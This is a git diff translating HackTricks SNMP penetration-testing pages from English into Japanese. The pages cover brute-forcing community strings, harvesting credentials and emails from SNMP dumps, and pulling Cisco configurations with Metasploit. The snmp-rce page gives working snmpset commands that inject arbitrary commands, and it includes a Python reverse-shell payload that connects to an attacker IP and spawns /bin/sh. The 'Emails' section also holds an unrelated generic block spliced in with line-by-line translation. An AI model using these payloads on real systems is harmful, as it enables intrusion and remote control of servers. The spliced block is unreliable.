Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security)または[Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security)と共に使用する場合、リクエストはポート**10161**で受信され、通知はポート**10162**に送信されます。 ## Brute-Force Community String (v1 and v2c) -To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). A frequently used community string is `public`. +コミュニティストリングを**推測する**ために、辞書攻撃を実行することができます。[ここでSNMPに対してブルートフォース攻撃を実行するさまざまな方法](../../generic-methodologies-and-resources/brute-force.md#snmp)を確認してください。よく使用されるコミュニティストリングは`public`です。 ## Enumerating SNMP -It is recommanded to install the following to see whats does mean **each OID gathered** from the device: - +デバイスから収集された**各OIDの意味**を確認するために、以下のものをインストールすることをお勧めします: ```bash apt-get install snmp-mibs-downloader download-mibs # Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf sudo vi /etc/snmp/snmp.conf ``` - -If you know a valid community string, you can access the data using **SNMPWalk** or **SNMP-Check**: - +もし有効なコミュニティストリングを知っている場合、**SNMPWalk**または**SNMP-Check**を使用してデータにアクセスすることができます。 ```bash snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot snmpbulkwalk -c public -v2c 10.10.11.136 . @@ -136,38 +130,33 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` - -Thanks to extended queries (download-mibs), it is possible to enumerate even more about the system with the following command : - +拡張クエリ(download-mibs)のおかげで、次のコマンドを使用してシステムについてさらに詳細な列挙が可能です: ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` +**SNMP**には、ホストに関する多くの情報があります。興味深い情報には、**ネットワークインターフェース**(IPv4および**IPv6**アドレス)、ユーザー名、稼働時間、サーバー/OSのバージョン、および**実行中のプロセス**(パスワードを含む場合があります)が含まれます。 -**SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** (IPv4 and **IPv6** address), Usernames, Uptime, Server/OS version, and **processes** +### **危険な設定** -**running** (may contain passwords).... +[**https://academy.hackthebox.com/module/112/section/1075**](https://academy.hackthebox.com/module/112/section/1075)から引用 -### **Dangerous Settings** - -**From** [**https://academy.hackthebox.com/module/112/section/1075**](https://academy.hackthebox.com/module/112/section/1075)\*\*\*\* - -| **Settings** | **Description** | -| ------------------------------------------------ | ------------------------------------------------------------------------------------- | -| `rwuser noauth` | Provides access to the full OID tree without authentication. | -| `rwcommunity ` | Provides access to the full OID tree regardless of where the requests were sent from. | -| `rwcommunity6 ` | Same access as with `rwcommunity` with the difference of using IPv6. | +| **設定** | **説明** | +| ------------------------------------------------ | ----------------------------------------------------------------------------------------- | +| `rwuser noauth` | 認証なしで完全なOIDツリーへのアクセスを提供します。 | +| `rwcommunity ` | リクエストがどこから送信されたかに関係なく、完全なOIDツリーへのアクセスを提供します。 | +| `rwcommunity6 ` | IPv6を使用する点を除いて、`rwcommunity`と同じアクセスを提供します。 | ### Cisco -Take a look to this page if you are Cisco equipment: +Ciscoの機器を使用している場合は、次のページを参照してください: {% content-ref url="cisco-snmp.md" %} [cisco-snmp.md](cisco-snmp.md) {% endcontent-ref %} -## From SNMP to RCE +## SNMPからRCEへ -If you have the **string** that allows you to **write values** inside the SNMP service, you may be able to abuse it to **execute commands**: +SNMPサービス内で**値を書き込む**ことができる**文字列**を持っている場合、それを悪用して**コマンドを実行**することができるかもしれません: {% content-ref url="snmp-rce.md" %} [snmp-rce.md](snmp-rce.md) @@ -175,102 +164,116 @@ If you have the **string** that allows you to **write values** inside the SNMP s ## **Massive SNMP** -[Braa ](https://github.com/mteg/braa)is a mass SNMP scanner. The intended usage of such a tool is, of course, making SNMP queries – but unlike snmpwalk from net-snmp, it is able to query dozens or hundreds of hosts simultaneously, and in a single process. Thus, it consumes very few system resources and does the scanning VERY fast. +[Braa ](https://github.com/mteg/braa)は大量のSNMPスキャナーです。このツールの意図された使用法は、もちろんSNMPクエリを実行することですが、net-snmpのsnmpwalkとは異なり、数十台または数百台のホストに同時にクエリを実行し、単一のプロセスで行うことができます。そのため、システムリソースを非常に少なく消費し、非常に高速なスキャンを行います。 -Braa implements its OWN snmp stack, so it does NOT need any SNMP libraries like net-snmp. - -**Syntax:** braa \[Community-string]@\[IP of SNMP server]:\[iso id] +Braaは独自のSNMPスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。 +**構文:** braa \[コミュニティストリング]@\[SNMPサーバーのIP]:\[iso id] ``` braa ignite123@192.168.1.125:.1.3.6.* ``` +これは、手動で処理することができないほどの多くの情報を抽出することができます。 -This can extract a lot MB of information that you cannot process manually. +では、最も興味深い情報を探してみましょう([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)から): -So, lets look for the most interesting information (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): - -### Devices - -One of the first things I do is extract the sysDesc .1.3.6.1.2.1.1.1.0 MIB data from each file to determine what devices I have harvested information from. This can easily be done using the following grep command: +### デバイス +最初に行うことの一つは、各ファイルから sysDesc .1.3.6.1.2.1.1.1.0 MIB データを抽出し、収集した情報からどのデバイスがあるかを判断することです。次の grep コマンドを使用することで簡単に行うことができます: ``` grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` +### プライベートストリングの特定 -### Identify private string - -As an example, if I can identify the private community string used by an organization on their Cisco IOS routers, then I could possibly use that community string to extract the running configurations from those routers. The best method for finding such data has often been related to SNMP Trap data. So again, using the following grep we can parse through a lot of MIB data quickly searching for the key word of “trap”: - +例えば、組織がCisco IOSルーターで使用しているプライベートコミュニティストリングを特定できれば、そのコミュニティストリングを使用してそれらのルーターから実行中の設定を抽出することができます。このようなデータを見つけるための最良の方法は、しばしばSNMPトラップデータに関連しています。したがって、次のgrepを使用して、"trap"というキーワードを検索して多くのMIBデータを迅速に解析することができます。 ```bash grep -i "trap" *.snmp ``` +### ユーザー名/パスワード -### Usernames/passwords - -Another area of interest is logs, I have discovered that there are some devices that hold logs within the MIB tables. These logs can also contain failed logon attempts. Think about the last time you logged into a device via Telnet or SSH and inadvertently entered your password as the username. I typically search for key words such as _fail_, _failed_ or _login_ and examine that data to see if there is anything of value. - +興味深い別の領域はログです。私はMIBテーブル内にログを保持しているデバイスがいくつかあることを発見しました。これらのログには、ログインの試行が失敗した情報も含まれています。TelnetやSSHを介してデバイスにログインした際に、パスワードをユーザー名として誤って入力したことがあるか思い出してみてください。私は通常、_fail_、_failed_、または_login_などのキーワードを検索し、そのデータを調べて価値のある情報がないか確認します。 ```bash grep -i "login\|fail" *.snmp ``` +### メール -### Emails +Emails are a common communication method used by individuals and organizations. They are often used for sending and receiving messages, files, and other types of information. +メールは、個人や組織によってよく使われるコミュニケーション手段です。メッセージやファイル、その他の情報を送受信するためによく使用されます。 + +Emails are typically sent and received through email servers, which are responsible for handling the transmission and delivery of emails. + +メールは通常、メールサーバーを介して送受信されます。メールサーバーは、メールの送信と配信を担当します。 + +When conducting a penetration test, it is important to assess the security of the email infrastructure to identify any vulnerabilities that could be exploited by an attacker. + +ペネトレーションテストを実施する際には、攻撃者によって悪用される可能性のある脆弱性を特定するために、メールインフラストラクチャのセキュリティを評価することが重要です。 + +Some common techniques used to assess the security of emails include: + +- **Email Spoofing**: This technique involves forging the sender's email address to make it appear as if the email is coming from a different source. It can be used for phishing attacks or to bypass email filters. + +- **Email Header Analysis**: By analyzing the email headers, it is possible to gather information about the email's origin, route, and other details that can help in identifying any suspicious activity. + +- **Email Content Analysis**: Analyzing the content of the email can provide insights into the intentions and motives of the sender. It can also help in identifying any malicious attachments or links. + +- **Email Server Misconfigurations**: Misconfigurations in email servers can lead to security vulnerabilities. By identifying and exploiting these misconfigurations, an attacker can gain unauthorized access to the email system. + +- **Email Password Cracking**: If an attacker gains access to an email account, they may attempt to crack the password to gain further access or to impersonate the account owner. + +These techniques can help in identifying and mitigating potential security risks associated with emails. It is important to regularly assess and update the security measures in place to protect against email-based attacks. ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` +## SNMP値の変更 -## Modifying SNMP values +_**NetScanTools**_を使用して値を変更することができます。そのためには、**プライベートストリング**を知る必要があります。 -You can use _**NetScanTools**_ to **modify values**. You will need to know the **private string** in order to do so. +## スプーフィング -## Spoofing +SNMPサービスのクエリを許可するIPアドレスが制限されている場合、UDPパケット内のアドレスをスプーフィングしてトラフィックを嗅視することができます。 -If there is an ACL that only allows some IPs to query the SMNP service, you can spoof one of this addresses inside the UDP packet an sniff the traffic. - -## Examine SNMP Configuration files +## SNMP設定ファイルの調査 * snmp.conf * snmpd.conf * snmp-config.xml -## HackTricks Automatic Commands - +## HackTricks自動コマンド ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. Port_Number: 161 #Comma separated if there is more than one. Protocol_Description: Simple Network Managment Protocol #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for SNMP - Note: | - SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). +Name: Notes +Description: Notes for SNMP +Note: | +SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). - https://book.hacktricks.xyz/pentesting/pentesting-snmp +https://book.hacktricks.xyz/pentesting/pentesting-snmp Entry_2: - Name: SNMP Check - Description: Enumerate SNMP - Command: snmp-check {IP} +Name: SNMP Check +Description: Enumerate SNMP +Command: snmp-check {IP} Entry_3: - Name: OneSixtyOne - Description: Crack SNMP passwords - Command: onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt {IP} -w 100 +Name: OneSixtyOne +Description: Crack SNMP passwords +Command: onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt {IP} -w 100 Entry_4: - Name: Nmap - Description: Nmap snmp (no brute) - Command: nmap --script "snmp* and not snmp-brute" {IP} +Name: Nmap +Description: Nmap snmp (no brute) +Command: nmap --script "snmp* and not snmp-brute" {IP} Entry_5: - Name: Hydra Brute Force - Description: Need Nothing - Command: hydra -P {Big_Passwordlist} -v {IP} snmp +Name: Hydra Brute Force +Description: Need Nothing +Command: hydra -P {Big_Passwordlist} -v {IP} snmp ``` - \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -278,10 +281,10 @@ Entry_5: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 3a490e3b2..d0ee69166 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -4,46 +4,43 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** +* **[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクション** +* **[**official PEASS & HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう** +* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** -This page was copied from [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) +このページは[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)からコピーされました。 -## Configuration exfiltration and enumeration via SNMP +## SNMPを介した設定の外部流出と列挙 -**SNMP (Simple Network Management Protocol)** is a protocol that allows you to monitor the status of devices on a computer network. It can be network equipment, IP phones, corporate servers or anything else. +**SNMP(Simple Network Management Protocol)**は、コンピュータネットワーク上のデバイスの状態を監視するためのプロトコルです。ネットワーク機器、IP電話、法人サーバーなどが対象となります。 -**SNMP uses the UDP transport layer protocol with port numbers 161/UDP and 162/UDP.** So-called community strings are used to refer SNMP agents to the server. These are, shall we say, special passwords for communicating with the SNMP server. **Community strings have either RO (read-only) or RW (read-write) permissions.** +**SNMPは、ポート番号161/UDPおよび162/UDPを使用するUDPトランスポート層プロトコルを使用します。**いわゆるコミュニティストリングは、SNMPエージェントをサーバーに参照するために使用されます。これらは、SNMPサーバーとの通信に使用する特別なパスワードと言えます。**コミュニティストリングには、RO(読み取り専用)またはRW(読み書き)の権限があります。** -**Actually, SNMP can not only monitor the equipment status, but also manage it in full: dump configs, change the configuration, etc.** If a pentester can look up the value of community strings, he actually gains access to the equipment. **However, it all depends on which string he bruteforced— to RO or RW community string.** +**実際には、SNMPは装置の状態を監視するだけでなく、設定のダンプや設定の変更などを完全に管理することもできます。**ペンテスターがコミュニティストリングの値を調べることができれば、実際には装置にアクセスできます。**ただし、どの文字列がブルートフォースされたかによって、ROコミュニティストリングかRWコミュニティストリングかが異なります。** -**Bruteforce community strings can be implemented using the** [**onesixtyone**](https://github.com/trailofbits/onesixtyone) **utility.** It will take as input the dictionary for bruteforcing and the IP addresses of the target hosts. The targets will be: - -* **10.10.100.10 — Cisco vIOS Switch** -* **10.10.100.254 — Cisco vIOS Router** +**コミュニティストリングのブルートフォースは、**[**onesixtyone**](https://github.com/trailofbits/onesixtyone) **ユーティリティを使用して実装できます。**ブルートフォースのための辞書とターゲットホストのIPアドレスを入力として受け取ります。ターゲットは次のとおりです。 +* **10.10.100.10 — Cisco vIOSスイッチ** +* **10.10.100.254 — Cisco vIOSルーター** ``` ~$ onesixtyone -c communitystrings -i targets ``` - -We found out what community strings are used on those devices. This opens the way for us to exploititation. +私たちは、それらのデバイスで使用されているコミュニティストリングを特定しました。これにより、私たちは攻撃を行うことができるようになります。 ### 8.1 cisco\_config\_tftp -With the Metasploit framework, namely the **cisco\_config\_tftp** module, you can pull the device configuration by knowing the value of the community string. The string that has the rights to the RW is **private**. +Metasploitフレームワークの**cisco\_config\_tftp**モジュールを使用すると、コミュニティストリングの値を知っていれば、デバイスの設定を取得することができます。RW権限を持つストリングは**private**です。 -We will need the following: - -* **RW community string (COMMUNITY)** -* **Attacker’s IP address (LHOST)** -* **Target equipment IP address (RHOSTS)** -* **the path in which the module outputs the configuration of the device (OUTPUTDIR)** +以下が必要です: +* **RWコミュニティストリング(COMMUNITY)** +* **攻撃者のIPアドレス(LHOST)** +* **ターゲット装置のIPアドレス(RHOSTS)** +* **モジュールがデバイスの設定を出力するパス(OUTPUTDIR)** ```bash msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10 @@ -51,31 +48,28 @@ msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50 msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/snmp msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit ``` - -After starting the module, the host configuration with address 10.10.100.10 (10.10.100.10.txt) will be downloaded to the specified folder. +モジュールを起動した後、指定したフォルダにアドレス10.10.100.10(10.10.100.10.txt)のホスト構成がダウンロードされます。 ![](<../../.gitbook/assets/image (223).png>) ### 8.2 snmp\_enum -With this module you can find out information about the target hardware. Everything is exactly the same: specify **COMMUNITY** (by the way, even a string with **RO permissions will do**) and the IP address of the target device. - +このモジュールを使用すると、ターゲットハードウェアに関する情報を取得できます。すべてがまったく同じです:**COMMUNITY**を指定します(ちなみに、**RO権限を持つ文字列でも構いません**)およびターゲットデバイスのIPアドレスを指定します。 ```bash msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/snmp_enum) > exploit ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/pentesting-snmp/snmp-rce.md b/network-services-pentesting/pentesting-snmp/snmp-rce.md index 53310f8ab..9db01ca08 100644 --- a/network-services-pentesting/pentesting-snmp/snmp-rce.md +++ b/network-services-pentesting/pentesting-snmp/snmp-rce.md @@ -1,95 +1,85 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-This post was copied from [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/) +この投稿は[https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)からコピーされました。 -SNMP is sometimes overseen by the administrator of the device or server where it is left in a default configuration. SNMP community with write permissions \(**rwcommunity**\) on the Linux operating system can be abused to let the attacker execute a command on the server. +SNMPは、デバイスやサーバーの管理者によって、デフォルトの設定で見落とされることがあります。Linuxオペレーティングシステム上のSNMPコミュニティには、サーバー上でコマンドを実行するために悪用できる書き込み権限(**rwcommunity**)があります。 ![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508) -# **Extending the Services** +# **サービスの拡張** -While you are not able to modify existing entries that were configured in **snmpd.conf**, it is possible to add additional commands over SNMP, because the “MAX-ACCESS” permission setting in the MIB definition is set to “**read-create**” - -Adding a new command basically works by appending an additional row to the “**nsExtendObjects**” table. +**snmpd.conf**で構成された既存のエントリを変更することはできませんが、MIB定義の「MAX-ACCESS」パーミッション設定が「**read-create**」に設定されているため、SNMPを介して追加のコマンドを追加することが可能です。 +新しいコマンドの追加は、基本的には「**nsExtendObjects**」テーブルに追加の行を追加することで行われます。 ```bash snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ 'nsExtendStatus."evilcommand"' = createAndGo \ 'nsExtendCommand."evilcommand"' = /bin/echo \ 'nsExtendArgs."evilcommand"' = 'hello world' ``` - -Injecting a command to run on the SNMP service. **NET-SNMP-EXTEND-MIB** requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable. +SNMPサービスで実行するコマンドを注入します。**NET-SNMP-EXTEND-MIB**では、常に実行可能な絶対パスを提供する必要があります。呼び出されるバイナリ/スクリプトも存在し、実行可能である必要があります。 ![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916) -Executing the command that we injected to the SNMP by enumerating it using snmpwalk - +snmpwalkを使用して、注入したコマンドを列挙して実行します。 ```bash snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects ``` - -Showing that the command is /bin/echo. +コマンドは/bin/echoです。 ![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569) -The command will be executed when the it is read. **run-on-read\(\)** +コマンドは読み取られると実行されます。**run-on-read\(\)** ![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612) -The command **/bin/echo "hello rio is here"** was executed during our snmpwalk read +コマンド**/bin/echo "hello rio is here"**は、snmpwalkの読み取り中に実行されました。 ![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653) -# **Getting the Shell** **from Net-SNMP Extend** +# **Net-SNMP Extendからシェルを取得する** -In this section, I would like to discuss how to gain a server shell to control the server. +このセクションでは、サーバーを制御するためのサーバーシェルを取得する方法について説明します。 -You can use python script developed by **mxrch** that can be downloaded from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) - -You can install the pre-requisite to run this: +**mxrch**によって開発されたPythonスクリプトを使用できます。[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)からダウンロードできます。 +このスクリプトを実行するための前提条件をインストールできます。 ```bash sudo apt install snmp snmp-mibs-downloader rlwrap -y git clone https://github.com/mxrch/snmp-shell cd snmp-shell sudo python3 -m pip install -r requirements.txt ``` - ![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723) -**Creating reverse shell** - -You can also create reverse shell manually by injecting the command below into the SNMP +**逆シェルの作成** +SNMPに以下のコマンドを注入することで、手動で逆シェルを作成することもできます。 ```bash snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"' ``` - ![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930) -run the snmpwalk to trigger the command execution +snmpwalkを実行してコマンドの実行をトリガーします。 ![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687) -Our netcat receives the reverseshell connection from the victim that allow us to gain control over the victim machine 